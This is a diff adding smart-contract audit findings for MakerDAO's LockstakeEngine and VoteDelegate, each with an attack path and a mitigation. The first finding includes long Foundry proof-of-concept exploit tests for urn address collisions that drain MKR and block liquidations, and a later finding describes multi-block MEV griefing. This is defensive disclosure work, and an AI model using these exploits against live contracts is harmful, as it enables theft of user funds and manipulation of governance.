} from "../lockstake/src/LockstakeClipper.sol"; ++import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol"; ++import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol"; ++import { GemMock } from "../lockstake/test/mocks/GemMock.sol"; ++import { NstMock } from "../lockstake/test/mocks/NstMock.sol"; ++import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol"; ++import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol"; ++import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol"; ++ ++import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol"; ++import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol"; ++ ++ ++contract DSChiefLike { ++ DSTokenAbstract public IOU; ++ DSTokenAbstract public GOV; ++ mapping(address=>uint256) public deposits; ++ function free(uint wad) public {} ++ function lock(uint wad) public {} ++} + + interface CalcFabLike { + function newLinearDecrease(address) external returns (address); +@@ -29,7 +41,7 @@ interface MkrAuthorityLike { + function rely(address) external; + } + +-contract LockstakeEngineTest is DssTest { ++contract ALockstakeEngineTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; +@@ -40,7 +52,7 @@ contract LockstakeEngineTest is DssTest { + LockstakeClipper clip; + address calc; + MedianAbstract pip; +- VoteDelegateFactoryMock voteDelegateFactory; ++ VoteDelegateFactory voteDelegateFactory; + NstMock nst; + NstJoinMock nstJoin; + GemMock rTok; +@@ -84,8 +96,13 @@ contract LockstakeEngineTest is DssTest { + } + } + +- function setUp() public { +- vm.createSelectFork(vm.envString("ETH_RPC_URL")); ++ // Real contracts for mainnet ++ address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0; ++ address polling = 0xD3A9FE267852281a1e6307a1C37CDfD76d39b133; ++ uint chiefBalanceBeforeTests; ++ ++ function setUp() public virtual { ++ vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20422954); + + dss = MCD.loadFromChainlog(LOG); + +@@ -101,7 +118,10 @@ contract LockstakeEngineTest is DssTest { + MkrAuthorityLike(mkr.authority()).rely(address(mkrNgt)); + vm.stopPrank(); + +- voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); ++ // voteDelegateFactory = new VoteDelegateFactoryMock(address(mkr)); ++ voteDelegateFactory = new VoteDelegateFactory( ++ chief, polling ++ ); + voter = address(123); + vm.prank(voter); voteDelegate = voteDelegateFactory.create(); +``` + +
+ +2. Add the following `remappings.txt` to the root project directory. +```txt +dss-interfaces/=dss-flappers/lib/dss-test/lib/dss-interfaces/src/ +dss-test/=dss-flappers/lib/dss-test/src/ +forge-std/=dss-flappers/lib/dss-test/lib/forge-std/src/ +@openzeppelin/contracts/=sdai/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/ +@openzeppelin/contracts-upgradeable/=sdai/lib/openzeppelin-contracts-upgradeable/contracts/ +solidity-stringutils=nst/lib/openzeppelin-foundry-upgrades/lib/solidity-stringutils/ +lockstake:src/=lockstake/src/ +vote-delegate:src/=vote-delegate/src/ +sdai:src/=sdai/src/ +``` + + +3. Run `forge test --match-path test/ALSEH5.sol -vvv` (PoCs for 2 LSUrns) +```solidity +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "./ALockstakeEngine.sol"; + +contract VoteDelegateLike { + mapping(address => uint256) public stake; +} + +interface ChiefLike { + // function GOV() external view returns (GemLike); + // function IOU() external view returns (GemLike); + function lock(uint256) external; + function free(uint256) external; + function vote(address[] calldata) external returns (bytes32); + function vote(bytes32) external; + // mapping(address => uint256) public deposits; + function deposits(address) external returns (uint); +} + +contract ALSEH5 is ALockstakeEngineTest { + // Just some address that the attacker wants to use, a regular EOA + address attacker = makeAddr("attacker"); + // Address mined by the attacker to create LSUrn + // so that the LSUrn address will be equal to an EOA controlled by the attacker + address minedUrnCreator = makeAddr("minedUrnCreator"); + + address[] users = [ + makeAddr("user1"), + makeAddr("user2"), + makeAddr("user3") + ]; + address user4 = makeAddr("user4"); + + uint mkrAmount = 100_000 * 10**18; + + address eoaUrn; + + address voteDelegate2; + + address minedUrnCreator2 = makeAddr("minedUrnCreator2"); + address eoaUrn2; + + function setUp() public override { + // Call the parent setUp + super.setUp(); + + // This urn has the same address as an EOA controlled by the attacker + // Here we make calls from the EOA, the urn is not created yet + eoaUrn = engine.getUrn(minedUrnCreator, 0); + + // Give permissions from EOA, the urn is not created yet + vm.prank(eoaUrn); dss.vat.hope(attacker); + vm.prank(eoaUrn); lsmkr.approve(attacker, type(uint).max); + + // Create the urn; can't use EOA after that as per EIP-3607 + vm.prank(minedUrnCreator); engine.open(0); + // Just for convenience in tests. It's controlled by the attacker + vm.prank(minedUrnCreator); engine.hope(eoaUrn, attacker); + + // Simulate several other urns + _createUrnDepositDrawForUsers(); + + // Deposit a little bit of ink + vm.startPrank(attacker); + + deal(address(mkr), attacker, mkrAmount); + mkr.approve(address(engine), type(uint).max); + engine.lock(eoaUrn, mkrAmount, 0); + + vm.stopPrank(); + + _changeBlockNumberForChief(); + + vm.prank(makeAddr("voter")); + voteDelegate2 = voteDelegateFactory.create(); + } + + function _moveInkToGem() internal { + vm.prank(attacker); dss.vat.frob(ilk, eoaUrn, eoaUrn, address(0), -int(mkrAmount), 0); + } + + // Chief won't allow withdrawal in the same block as the deposit + function _changeBlockNumberForChief() internal { + vm.roll(block.number + 1); + } + + function testAttack6SeveralLsUrnCollisions() public { + _prepareSecondUrnCollision(); + + // VD with the attacker as the owner + vm.startPrank(attacker); + address attackersVD = voteDelegateFactory.create(); + + // Ensure LSE/VD has enough funds + vm.startPrank(users[0]); + deal(address(mkr), users[0], mkrAmount * 10); + engine.lock(engine.getUrn(users[0], 0), mkrAmount * 10, 0); + _changeBlockNumberForChief(); + + vm.startPrank(attacker); + + // Ensure urn1 has mkrAmount, urn2 has 0 + _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0}); + + engine.selectVoteDelegate(eoaUrn2, voteDelegate); + + // While there are funds on LSE/VD + for (uint i; i < 5; i++) { + // Select attackerVD from urn1, move ink to eoaUrn2 + engine.selectVoteDelegate(eoaUrn, attackersVD); + dss.vat.fork(ilk, eoaUrn, eoaUrn2, int(mkrAmount), 0); + // Select victim VD while having 0 ink, so no MKR is transferred + engine.selectVoteDelegate(eoaUrn, voteDelegate); + _assertEqInk({inkUrn1: 0, inkUrn2: mkrAmount}); + + // Select attackerVD from urn2, move ink to eoaUrn1 + engine.selectVoteDelegate(eoaUrn2, attackersVD); + dss.vat.fork(ilk, eoaUrn2, eoaUrn, int(mkrAmount), 0); + engine.selectVoteDelegate(eoaUrn2, voteDelegate); + _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0}); + + console.log("attackersVD balance: %e", ChiefLike(chief).deposits(attackersVD)); + } + + // Note: attacker only used 1 mkrAmount. + assertEq(mkrAmount * 10, ChiefLike(chief).deposits(attackersVD)); + } + + function testAttack7SeveralLsUrnCollisionsStealFromLSE() external { + _prepareSecondUrnCollision(); + + // VD with the attacker as the owner + vm.startPrank(attacker); + address attackersVD = voteDelegateFactory.create(); + + // Ensure LSE/VD has enough funds + vm.startPrank(users[0]); + engine.selectVoteDelegate(engine.getUrn(users[0], 0), address(0)); + deal(address(mkr), users[0], mkrAmount * 10); + engine.lock(engine.getUrn(users[0], 0), mkrAmount * 10, 0); + _changeBlockNumberForChief(); + + vm.startPrank(attacker); + + // Ensure urn1 has mkrAmount, urn2 has 0 + _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0}); + + // While there are funds on LSE/VD + for (uint i; i < 5; i++) { + // Select attackerVD from urn1, move ink to eoaUrn2 + engine.selectVoteDelegate(eoaUrn, attackersVD); + dss.vat.fork(ilk, eoaUrn, eoaUrn2, int(mkrAmount), 0); + engine.selectVoteDelegate(eoaUrn, address(0)); + _assertEqInk({inkUrn1: 0, inkUrn2: mkrAmount}); + + // Select attackerVD from urn2, move ink to eoaUrn1 + engine.selectVoteDelegate(eoaUrn2, attackersVD); + dss.vat.fork(ilk, eoaUrn2, eoaUrn, int(mkrAmount), 0); + engine.selectVoteDelegate(eoaUrn2, address(0)); + _assertEqInk({inkUrn1: mkrAmount, inkUrn2: 0}); + + console.log("attackersVD balance: %e", ChiefLike(chief).deposits(attackersVD)); + } + + assertEq(mkrAmount * 10, ChiefLike(chief).deposits(attackersVD)); + } + + function _assertEqInk(uint inkUrn1, uint inkUrn2) internal view { + (uint256 inkUrn1Real,) = dss.vat.urns(ilk, eoaUrn); + (uint256 inkUrn2Real,) = dss.vat.urns(ilk, eoaUrn2); + + assertEq(inkUrn1Real, inkUrn1); + assertEq(inkUrn2Real, inkUrn2); + } + + function _prepareSecondUrnCollision() public { + // Same as in setUp but for another urn + eoaUrn2 = engine.getUrn(minedUrnCreator2, 0); + + // Give permissions from EOA, the urn is not created yet + vm.prank(eoaUrn2); dss.vat.hope(attacker); + vm.prank(eoaUrn2); lsmkr.approve(attacker, type(uint).max); + + // Create the urn; can't use EOA after that as per EIP-3607 + vm.prank(minedUrnCreator2); engine.open(0); + vm.prank(minedUrnCreator2); engine.hope(eoaUrn2, attacker); + } + + function _testSelectDelegate(bool expectRevert) internal { + for (uint i; i < users.length; i++) { + uint sId = vm.snapshot(); + + address user = users[i]; + address urn = engine.getUrn(user, 0); + + if (expectRevert) { + vm.expectRevert(bytes("Test")); + } + + vm.prank(user); engine.selectVoteDelegate(urn, voteDelegate2); + + vm.revertTo(sId); + } + } + + function _sendOneInkFromEoaUrn(address user) internal { + address urn = engine.getUrn(user, 0); + vm.prank(attacker); dss.vat.frob(ilk, urn, eoaUrn, address(0), 1, 0); + } + + function _testLiquidateUsingDog(address user, string memory revertMsg, bool useSnapshots) internal { + uint sId; + if (useSnapshots) sId = vm.snapshot(); + + bool expectRevert = bytes(revertMsg).length > 0; + address urn = engine.getUrn(user, 0); + + // Force urn unsafe + _changeMkrPrice(0.05 * 10**18); + + if (expectRevert) vm.expectRevert(bytes(revertMsg)); + dss.dog.bark(ilk, urn, makeAddr("kpr")); + + if (useSnapshots) vm.revertTo(sId); + } + + function _changeMkrPrice(uint newPrice) internal { + vm.store(address(pip), bytes32(uint256(1)), bytes32(uint256(newPrice))); + dss.spotter.poke(ilk); + } + + function _testLiquidateUsingDog(address user, string memory revertMsg) internal { + _testLiquidateUsingDog(user, revertMsg, true); + } + + function _testLiquidateUsingDog() internal { + for (uint i; i < users.length; i++) { + address user = users[i]; + _testLiquidateUsingDog(user, ""); + } + } + + function _createUrnDepositDrawForUsers() internal { + for (uint i; i < users.length; i++) { + _createUrnDepositDrawForUsers(users[i], voteDelegate); + } + } + + function _createUrnDepositDrawForUsers(address user, address _voteDelegate) internal { + _createUrnDepositDrawForUsers(user, _voteDelegate, mkrAmount); + } + + function _createUrnDepositDrawForUsers(address user, address _voteDelegate, uint amount) internal { + deal(address(mkr), user, amount); + + vm.startPrank(user); + + mkr.approve(address(engine), type(uint).max); + address urn = engine.open(0); + engine.lock(urn, amount, 0); + engine.selectVoteDelegate(urn, _voteDelegate); + engine.draw(urn, user, amount / 50); // Same proportion as in original LSE test + + vm.stopPrank(); + } + +} + +``` +4. Run `forge test --match-path test/ALSEH6.sol -vvv` (PoCs for 1 LSUrns) +```solidity +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "./ALSEH5.sol"; + +contract ALSEH6 is ALSEH5 { + + function testAttack1Loop1Urn() public { + console.log("MKR before the attack on attacker: %e", mkr.balanceOf(attacker)); + vm.prank(attacker); + // VD with attacker as the owner + address attackersVD = voteDelegateFactory.create(); + + // Select this VD as the holder of eoaUrn MKR + vm.prank(minedUrnCreator); engine.selectVoteDelegate(eoaUrn, attackersVD); + console.log("Voting power on attackersVD before: %e", ChiefLike(chief).deposits(attackersVD)); + + vm.startPrank(attacker); + + // Move .ink to gem. Required so we can `frob` (add .ink) to urn2 from eoaUrn's gem + dss.vat.frob(ilk, eoaUrn, eoaUrn, address(0), -int(mkrAmount), 0); + + // Open urn2 + address urn2 = engine.open(0); + + // Select the most popular voteDelegate that has enough MKR + engine.selectVoteDelegate(urn2, voteDelegate); + // Transfer lsMKR and urn.ink there + lsmkr.transferFrom(eoaUrn, urn2, mkrAmount); + dss.vat.frob(ilk, urn2, eoaUrn, address(0), int(mkrAmount), 0); + + // Withdraw from urn2. Note: MKR is still locked on chief through VD.stake on urn1 + // So we withdraw from other users + engine.free(urn2, attacker, mkrAmount); + + // Now can continue voting using attackersVD, but also got back 85% of the MKR + uint mkrBalanceAfterAttack = mkr.balanceOf(attacker); + console.log("MKR after the attack on attacker: %e", mkrBalanceAfterAttack); + console.log("Voting power on attackersVD after: %e", ChiefLike(chief).deposits(attackersVD)); + + /* Loop */ + uint newMkrAmt = mkrBalanceAfterAttack; + + // Ensure main VD (the one the attacker steals from) has enough funds + deal(address(mkr), users[0], mkrAmount * 10); + vm.startPrank(users[0]); + engine.lock(engine.getUrn(users[0], 0), mkrAmount * 10, 0); + vm.roll(block.number + 1); + + // Lock what's left, just repeat the steps above + vm.startPrank(attacker); + for (uint i; i < 20; i++) { + console.log("Loop #", i); + + engine.lock(eoaUrn, newMkrAmt, 0); + dss.vat.frob(ilk, eoaUrn, eoaUrn, address(0), -int(newMkrAmt), 0); + lsmkr.transferFrom(eoaUrn, urn2, newMkrAmt); + dss.vat.frob(ilk, urn2, eoaUrn, address(0), int(newMkrAmt), 0); + engine.free(urn2, attacker, newMkrAmt); + + newMkrAmt = mkr.balanceOf(attacker); + console.log("MKR after the attack on attacker: %e", newMkrAmt); + console.log("Voting power on attackersVD after: %e", ChiefLike(chief).deposits(attackersVD)); + } + } + + function testAttack4SendOneInk() public { + _moveInkToGem(); + + // Ensure users can withdraw/select VD/select farm + _testLiquidateUsingDog(); + _testSelectDelegate({expectRevert: false}); + + // Donate 1 wei each + for (uint i; i < users.length; i++) { + address user = users[i]; + _sendOneInkFromEoaUrn(user); + } + + for (uint i; i < users.length; i++) { + address user = users[i]; + _testLiquidateUsingDog({ + user: user, + revertMsg: "LockstakeMkr/insufficient-balance", + useSnapshots: false} + ); + } + } + + function testAttack4SendOneInk2() public { + testAttack4SendOneInk(); + + // _testLiquidateUsingDog without snapshot changed MKR price, change it back + _changeMkrPrice(1_500 * 10**18); + // Test single user with a separate VD will revert + _createUrnDepositDrawForUsers(user4, voteDelegate2); + + _changeBlockNumberForChief(); + _testLiquidateUsingDog({user: user4, revertMsg: ""}); + + _sendOneInkFromEoaUrn(user4); + + // Now liquidation will revert + _testLiquidateUsingDog({user: user4, revertMsg: "VoteDelegate/insufficient-stake"}); + } + + function testAttack4SendOneInk3() public { + testAttack4SendOneInk2(); + + // Depositing to VD won't help, because we also miss lsmkr, onKick tries to burn lsMkr + _createUrnDepositDrawForUsers(makeAddr("user5"), voteDelegate2, 1e18); + + _changeBlockNumberForChief(); + _testLiquidateUsingDog({user: user4, revertMsg: "LockstakeMkr/insufficient-balance"}); + } + + function testAttack4SendOneInk4() public { + testAttack4SendOneInk2(); + + // try freeing everything + vm.startPrank(user4); + + address urn = engine.getUrn(user4, 0); + + nst.approve(address(engine), type(uint).max); + engine.wipeAll(urn); + + uint sID = vm.snapshot(); + // Can withdraw their deposit + engine.free(urn, user4, mkrAmount); + + vm.revertTo(sID); + // But not the donation + vm.expectRevert("LockstakeMkr/insufficient-balance"); + engine.free(urn, user4, mkrAmount + 1); + } + + function testAttack5SendLsMkr() public { + // Same proportion as in original LSE test + vm.prank(minedUrnCreator); engine.draw(eoaUrn, minedUrnCreator, mkrAmount/50); + + _testLiquidateUsingDog(minedUrnCreator, ""); + + // We can do it because the approve is given in setUp + vm.prank(attacker); lsmkr.transferFrom(eoaUrn, attacker, mkrAmount); + _testLiquidateUsingDog(minedUrnCreator, "LockstakeMkr/insufficient-balance"); + } +} + +``` + +## Tool used + +Manual Review + +## Recommendation + +- Prevent users from controlling the `salt`, including using `msg.sender`. +- Additionally, consider combining and encoding `block.prevrandao` with `msg.sender`. This approach will make finding a collision practically impossible within the short timeframe that `prevrandao` is known. \ No newline at end of file diff --git a/015/072.md b/015/072.md new file mode 100644 index 0000000..1121f83 --- /dev/null +++ b/015/072.md @@ -0,0 +1,49 @@ +Clever Burgundy Iguana + +Medium + +# There is not enough incentive to call `VoteDelegate.reserveHatch` as it can be abused by attackers to drain gas fees from liquidators + +### Summary + +`LockstakeEngine` liquidation of unhealthy accounts can be blocked by the attacker if he calls `VoteDelegate.lock` for the unhealthy vault every block as liquidation in the same block then reverts when trying to `VoteDelegate.free` (`Chief` flashloan protection). Liquidator can then call `VoteDelegate.reserveHatch`, which will disable `VoteDelegate.lock` function for 5 blocks, allowing liquidator to liquidate the vault. + +The issue is that this 2-step liquidation (liquidator has to call `VoteDelegate.reserveHatch` first, only then he can call `Dog.bark` within the next 5 blocks) requires 2 transactions in separate blocks and liquidator is only paid for the `Dog.bark`, but not for the `reserveHatch`. This means there is lack of incentive for the liquidator to call this function. This can become especially bad if the attacker intentionally forces liquidators to call `reserveHatch` (by intentionally creating unhealthy vaults with `VoteDelegate.lock` call every block), and then immediately repaying the debt to make the vault healthy again as soon as `reserveHatch` is called by anyone. Due to the 2-blocks requirement for the liquidator in such case, attacker can always avoid liquidation and liquidator can never liquidate, but is forced to call `reserveHatch` all the time, losing gas fees. + +Moreover, attacker can use the `reserveHatch` call as an indication of pending liquidation: so the attacker intentionally keeps unhealthy vault and if liquidators stop calling unprofitable `reserveHatch`, attacker simply keeps vault unhealthy further until it goes into bad debt to cause loss of funds for the protocol. But if liquidator does try to `reserveHatch`, attacker immediately repays the debt to make it healthy again and waste liquidator's gas. + +### Root Cause + +`VoteDelegate.reserveHatch` functionaltiy is cumbersome and creates a 2-steps liquidation process in 2 blocks: +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/vote-delegate/src/VoteDelegate.sol#L104-L109 + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +1. Attacker's vault has some `VoteDelegate` selected +2. Attacker puts his vault at the edge of being unhealthy (maxes out the debt) +3. Next block the vault becomes unhealthy +4. Attacker calls `VoteDelegate.lock` every block to prevent liquidation in the same block +5. Liquidator, being unable to liquidate user's vault (due to revert when trying to `VoteDelegate.free` in the liquidation), calls `VoteDelegate.reserveHatch` +6. Attacker immediately repays the tiny debt to make the account healthy again and repeats from 4. +7. If liquidator doesn't call `reserveHatch`, attacker simply waits until the vault goes into bad debt to cause funds loss to the protocol + +### Impact + +1. Liquidators are forced to call `VoteDelegate.reserveHatch` many times without actual liquidation happening, thus wasting gas fees. +2. When done frequently, liquidators might be disincentivized from calling `reserveHatch` at all and liquidating such user, exposing the protocol to uncontained losses from such attacker (easily 5%+ damage with large vault) + +### PoC + +Not needed + +### Mitigation + +Re-design the `reserveHatch` functionality which is very inconvenient for all parties and creates security issues as well. \ No newline at end of file diff --git a/015/095.md b/015/095.md new file mode 100644 index 0000000..716bff1 --- /dev/null +++ b/015/095.md @@ -0,0 +1,212 @@ +Refined Scarlet Seagull + +Medium + +# `VoteDelegate`'s `reserveHatch` allows multi-block MEV to grief LSE users during time-sensitive voting periods + +### Summary + +LockstakeEngine (LSE) and VoteDelegate (VD) interaction allows malicious actors to exploit multi-block MEV (MMEV) which is possible for roughly 30% of blocks. This allows griefing users of significant funds, and disrupting time-sensitive governance functions. By manipulating VD's `reserveHatch()`(RH) in the first block of MMEV, attackers can cause users' LSE transactions (`selectVoteDelegate`, `lock`, `lockNgt`) to fail during crucial voting periods, potentially leading to losses exceeding 0.5%, or even 5% of user value in gas fees. This exploit not only results in financial losses but also prevents time-sensitive voting delegations, manipulating governance outcomes, especially in emergency situations. The non-upgradeable nature of the system amplifies the long-term impact given MMEV. + +The cost to attacker is minimal: 28K gas, while the cost to user is much larger, e.g., 900K gas for a large multicall batch. At 200 gwei and 3500 USD per ETH, this translates to attacker cost (`3500×28000×200÷10^9`): 19 USD, and user cost of 630 USD (more than 5% for 10K user value) in the case of a large multicall batch. + +### Root Cause + +The VoteDelegate contract includes a [`reserveHatch` (RH) mechanism that, when called, prevents locking (entering) for a set number of blocks (5)](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/vote-delegate/src/VoteDelegate.sol#L86-L87), starting from the next block. This prevents single block MEV griefing. + +```solidity +function lock(uint256 wad) external { + require(block.number == hatchTrigger || block.number > hatchTrigger + HATCH_SIZE, + "VoteDelegate/no-lock-during-hatch"); + ... +} +``` + + +However, this does not prevent MMEV: MEV over consecutive blocks controlled by a single builder or proposer. This is exacerbated by the [use of Multicall](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L66) which will cause multiple batched user actions to all fail, wasting a very high amount of gas fees. + +The `LockstakeEngine` uses this lock function in its[ `_selectVoteDelegate` internal method](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol#L281), that's used throughout `selectVoteDelegate`, `lock`, and `lockNgt` user facing functions: + +```solidity +function _selectVoteDelegate(address urn, uint256 wad, address prevVoteDelegate, address voteDelegate) internal { + if (wad > 0) { + // ... + if (voteDelegate != address(0)) { + // ... + VoteDelegateLike(voteDelegate).lock(wad); + } + } + // ... +} +``` + +This design allows an attacker to exploit the `reserveHatch` mechanism to prevent users from executing these functions, particularly during critical voting periods. + +This griefing vector is exacerbated by the fact that a Multicall batch, carrying potentially several gas expensive user actions, will fail when one of the vulnerable actions is blocked. This is because calling RH can be as cheap as 28K gas, but the loss for the user can be much higher, potentially Millions in gas units (depending on the batched operations). This creates a very high griefing factor (cost to damage ratio) of e.g., 3200% griefing ratio (damage / cost) for a 911K batch (from the PoC). + +The vulnerability is enabled by the current state of Ethereum's block production, where [a small number of builders](https://www.relayscan.io/) control a large portion of block production (**54% for beaverbuild alone**), enabling multi-block MEV attacks via builders (controlling many consecutive blocks) as well as individual proposers (controlling significant stake and occasional consecutive blocks). For example coinbase controlled proposers control 15% of the stake right now. + +If a builder controls 54% of the blocks, the chances of the next block being controlled by them is 54%, which translates to **29% for any given block**. Thus, if supported by beaverbuild, MMEV would enable this vector for **29% of all blocks**. If MMEV becomes widely adopted by MEV infra software, this could rise to as much 60%, since MEV infra is used by around 80% of stake. + +While this finding focuses on `selectVoteDelegate`, `lock`, and `lockNgt`, it's worth noting that `free`, `freeNGT` can also be blocked by frontrunning with a deposit into the `VoteDelegate` due `cheif`'s flashloan protection. This opens even more MMEV options, due to the ability to block multicalls selectively, by either targeting `selectVD / lock` actions, or targetting the `free` actions for different batches. Both attack paths are linked via the tradeoff imposed by the `reserveHatch` and `cheif` functionality between only being able to either free or lock during a single block. + +### Internal pre-conditions + +- Target VD's RH was not called prior to this block. This is highly likely, since calling RH must be planned, and requires the user to then wait for 6 blocks (more than a minute) before sending their intended transactions (due to the block). + +### External pre-conditions + +- A builder supporting MMEV, OR a single proposer controls two consecutive blocks. +- Gas prices are high. + +### Attack Path + +Scenario 1: Builder-based MMEV Attack + +1. An attacker observes queued mempool multicall transactions involving delegation updates in LSE during a time-sensitive voting period. +2. The attacker users a builder supporting MMEV to execute the following: + - Block N: Include the attacker's `reserveHatch()` call to the target VoteDelegate. + - Block N+1: Include the user's multicall transaction, which will fail when it tries to execute `lock()` in the VoteDelegate. + +Scenario 2: Proposer-based MMEV Attack + +1. A malicious proposer is scheduled to propose two consecutive blocks during a time-sensitive voting period and observes vulnerable transactions in the mempool. +2. The proposer executes: + - Block N: Include the attacker's `reserveHatch()` call. + - Block N+1: Include the user's transaction, which will fail. + +Scenario 3: Selective Governance Attack + +1. A controversial or emergency governance proposal is submitted. +2. The attacker repeatedly executes the `reserveHatch` attack during the voting period when possible (outside of cooldown periods) against users trying to vote against the attacker's proposal. +3. Many users will have their transactions fail if not submitted during RH cooldown periods. +4. This griefs a large amount of user, increases the user costs for governance participation for one outcome over the over, increasing the chance of the attacker influencing the vote. +5. This delays users' time-sensitive vote delegations in times of emergency. + +### Impact + +1. Loss of funds: Users lose significant gas fees when their time-sensitive transactions fail. Depending on gas prices and complexity of multicall transactions, losses could amount to hundreds of dollars per failed transaction. For example, at 3500 USD per ETH, and 200 gwei gas price: + - Attack cost: 28K gas, 19 USD. + - Large multicall revert cost (PoC - 8 ops): 911K gas, 637 USD + - Smaller multicall revert cost (PoC - 5 ops): 709K gas, 496 USD + - No multicall, islocated `selectVoteDelegate` revert: 101K gas, 70 USD + +2. Governance Interference: The attack can prevent users from updating their vote delegations during critical periods, potentially swaying governance decisions. This is particularly impactful for emergency proposals that require quick action. +3. Long-term Participation Decline: Consistent attacks could discourage users from participating in governance, leading to more vulnerable governance due to lower honest user participation. +4. Systemic Risk: Given that the LockstakeEngine is designed to be non-upgradeable and used for multiple years, this vulnerability poses a long-term risk to the system's integrity and decentralization due to the likelihood of MMEV prevalence. + +### PoC + +The PoC measures the gas costs for: +1. Calling `reserveHatch` (attacker): 28K gas +2. Gas costs for the griefed user for isolated `selectVoteDelegate` revert: 101K gas +3. Gas costs for a 5 ops multicall batch revert: 709K gas +4. Gas costs for a 8 ops multicall batch revert: 911K gas + +The PoC adds tests for `LockstakeEngineBenchmarks` class in `Benchmarks.t.sol` file in this measurement PR https://github.com/makerdao/lockstake/pull/38/files of branch https://github.com/makerdao/lockstake/tree/benchmarks. I've also merged latest `dev` into it to ensure it's using latest contracts. + +The output of the PoC: +```bash +>>> forge test --mc LockstakeEngineBenchmarks --mt testGas -vvv + +Logs: + reserveHatch cost: 28248 + multicall (5 ops) revert cost: 709731 + multicall (8 ops) revert cost: 911424 + +Logs: + reserveHatch cost: 23594 + selectVoteDelegate revert cost: 101133 + +``` + +The added tests: +```solidity +function testGasMulticallRevert() public { + uint startGas = gasleft(); + VoteDelegate(voteDelegate).reserveHatch(); + uint gasUsed = startGas - gasleft(); + console2.log(" reserveHatch cost:", gasUsed); + + vm.roll(block.number + 1); + + mkr.approve(address(engine), 1_000_000 * 10**18); + + address urn = engine.getUrn(address(this), 0); + + bytes[] memory data = new bytes[](5); + data[0] = abi.encodeCall(engine.open, (0)); + data[1] = abi.encodeCall(engine.lock, (urn, 100_000 * 10**18, 5)); + data[2] = abi.encodeCall(engine.draw, (urn, address(this), 2_000 * 10**18)); + data[3] = abi.encodeCall(engine.selectFarm, (urn, address(farm), 0)); + data[4] = abi.encodeCall(engine.selectVoteDelegate, (urn, voteDelegate)); + + vm.expectRevert(); + startGas = gasleft(); + engine.multicall(data); + gasUsed = startGas - gasleft(); + console2.log(" multicall (5 ops) revert cost:", gasUsed); + + data = new bytes[](8); + data[0] = abi.encodeCall(engine.open, (0)); + data[1] = abi.encodeCall(engine.selectFarm, (urn, address(farm), 0)); + data[2] = abi.encodeCall(engine.lock, (urn, 100_000 * 10**18, 5)); + data[3] = abi.encodeCall(engine.draw, (urn, address(this), 1_000 * 10**18)); + data[4] = abi.encodeCall(engine.lock, (urn, 50_000 * 10**18, 5)); // simulates lockNgt + data[5] = abi.encodeCall(engine.draw, (urn, address(this), 1_000 * 10**18)); + data[6] = abi.encodeCall(engine.getReward, (urn, address(farm), address(this))); + data[7] = abi.encodeCall(engine.selectVoteDelegate, (urn, voteDelegate)); + + vm.expectRevert(); + startGas = gasleft(); + engine.multicall(data); + gasUsed = startGas - gasleft(); + console2.log(" multicall (8 ops) revert cost:", gasUsed); +} + +function testGasSelectVDRevert() public { + address voter2 = address(1234); + vm.prank(voter2); + address voteDelegate2 = delFactory.create(); + + address[] memory yays = new address[](5); + for (uint256 i; i < 5; i++) yays[i] = address(uint160(i + 1)); + vm.prank(voter); VoteDelegate(voteDelegate).vote(yays); + vm.prank(voter2); VoteDelegate(voteDelegate2).vote(yays); + address urn = _urnSetUp(true, true); + + uint startGas = gasleft(); + VoteDelegate(voteDelegate2).reserveHatch(); + uint gasUsed = startGas - gasleft(); + console2.log(" reserveHatch cost:", gasUsed); + vm.roll(block.number + 1); + + vm.expectRevert(); + startGas = gasleft(); + engine.selectVoteDelegate(urn, voteDelegate2); + gasUsed = startGas - gasleft(); + console2.log(" selectVoteDelegate revert cost:", gasUsed); +} +``` + + +### Mitigation + +To mitigate this issue, the VoteDelegate contract's `reserveHatch` mechanism should be modified to introduce a longer delay before the hatch takes effect. Instead of starting from the next block, it should start after M blocks, where M is a governance-controlled parameter. The parameters can be stored on the VD factory, and the VDs can query it there. This makes the attack more expensive and less likely to succeed, as controlling M consecutive blocks is more expensive and less likely. + +The total time the hatch is open and the duration of the cooldown cycle is not changed. The only modification is the timing of the hatch in the cycle. Instead of the cycle being 25 blocks starting with the 5 hatch blocks, the 5 hatch blocks are moved later in the cycle. + +Proposed change: + +```diff +function lock(uint256 wad) external { +- require(block.number == hatchTrigger || block.number > hatchTrigger + HATCH_SIZE, "VoteDelegate/no-lock-during-hatch"); ++ uint256 hatchDelay = factory.getHatchDelay(); // set by gov on the factory ++ bool beforeHatch = block.number < hatchTrigger + hatchDelay; ++ bool afterHatch = block.number > hatchTrigger + hatchDelay + HATCH_SIZE; ++ require( beforeHatch || afterHatch, "VoteDelegate/no-lock-during-hatch"); + ... + } +``` + +Governance can adjust `hatchDelay` based on the likelihood of MMEV issues. \ No newline at end of file diff --git a/016/127.md b/016/127.md new file mode 100644 index 0000000..adc729c --- /dev/null +++ b/016/127.md @@ -0,0 +1,36 @@ +Joyful Peanut Corgi + +High + +# The implementation of ward/rely/deny in the project may cause administrators to lose their privileges and could also result in malicious grantees having permanent access. + +## Summary + +The implementation of ward/rely/deny in the project may cause administrators to lose their privileges and could also result in malicious grantees having permanent access. + +## Vulnerability Detail + +Malicious grantees can call the deny() function to revoke the administrator’s privileges. + +They can also call the rely() function to increase their privileges so that they 